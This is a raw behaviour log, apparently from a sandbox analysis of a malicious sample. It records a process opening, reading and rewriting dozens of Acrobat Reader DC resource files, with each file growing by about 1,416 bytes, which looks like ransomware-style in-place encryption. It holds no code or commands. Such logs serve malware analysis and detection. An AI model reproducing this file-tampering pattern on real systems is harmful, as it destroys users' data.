File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\a12-pdf.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\a12-pdf.svg, size = 3398, size_out = 3398	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\cstm_brand_preview.png, size = 4814	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-getting-started.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-getting-started.png, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-getting-started.png, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-getting-started.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-getting-started.png, size = 16384	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\combine-files-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\combine-files-2x.png, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\combine-files-2x.png, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\combine-files-2x.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\combine-files-2x.png, size = 16384	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign-2x.png, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign-2x.png, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign-2x.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign-2x.png, size = 16384	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-press.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-press.svg, size = 3631, size_out = 3631	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-press.svg, size = 5047	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\improved-office-to-pdf.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\improved-office-to-pdf.png, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\improved-office-to-pdf.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\improved-office-to-pdf.png, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\en-us\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\en-us\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\en-us\AppStore_icon.svg, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\en-us\AppStore_icon.svg, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\AppStore_icon.svg, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\AppStore_icon.svg, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\PlayStore_icon.svg, size = 6735, size_out = 6735	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\PlayStore_icon.svg, size = 8151	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-tw\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-tw\PlayStore_icon.svg, size = 6319, size_out = 6319	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-tw\PlayStore_icon.svg, size = 7735	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us_2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us_2x.gif, size = 61440, size_out = 61440	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us_2x.gif, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us_2x.gif, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us_2x.gif, size = 61440	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us_2x.gif, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\PDFInWord.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\PDFInWord.png, size = 7230, size_out = 7230	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\PDFInWord.png, size = 8646	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\theme.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\theme.png, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\theme.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\theme.png, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WorkBetter.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WorkBetter.png, size = 7016, size_out = 7016	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WorkBetter.png, size = 8432	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fi-fi\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fi-fi\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fi-fi\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pl-pl\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pl-pl\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pl-pl\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\uk-ua\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\uk-ua\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\uk-ua\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon_2x.png, size = 611, size_out = 611	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon_2x.png, size = 2027	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\de-de\ui-strings.js, size = 1122, size_out = 1122	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\de-de\ui-strings.js, size = 2538	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\sv-se\ui-strings.js, size = 1098, size_out = 1098	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\sv-se\ui-strings.js, size = 2514	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\de-de\ui-strings.js, size = 914, size_out = 914	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\de-de\ui-strings.js, size = 2330	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\it-it\ui-strings.js, size = 910, size_out = 910	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\it-it\ui-strings.js, size = 2326	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sk-sk\ui-strings.js, size = 921, size_out = 921	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sk-sk\ui-strings.js, size = 2337	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\main-selector.css, size = 802, size_out = 802	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\main-selector.css, size = 2218	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ja_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ja_135x40.svg, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ja_135x40.svg, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ja_135x40.svg, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_tw_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_tw_135x40.svg, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_tw_135x40.svg, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_tw_135x40.svg, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\cs_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\cs_get.svg, size = 5205, size_out = 5205	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\cs_get.svg, size = 6621	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\hu_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\hu_get.svg, size = 6811, size_out = 6811	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\hu_get.svg, size = 8227	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pl_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pl_get.svg, size = 6043, size_out = 6043	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pl_get.svg, size = 7459	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\vi_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\vi_get.svg, size = 7007, size_out = 7007	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\vi_get.svg, size = 8423	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\de-de\ui-strings.js, size = 1550, size_out = 1550	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\de-de\ui-strings.js, size = 2966	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ko-kr\ui-strings.js, size = 1497, size_out = 1497	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ko-kr\ui-strings.js, size = 2913	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sv-se\ui-strings.js, size = 1456, size_out = 1456	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sv-se\ui-strings.js, size = 2872	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\cloud_secured.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\cloud_secured.png, size = 3233, size_out = 3233	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\cloud_secured.png, size = 4649	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ar-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ar-ae\ui-strings.js, size = 3629, size_out = 3629	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ar-ae\ui-strings.js, size = 5045	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
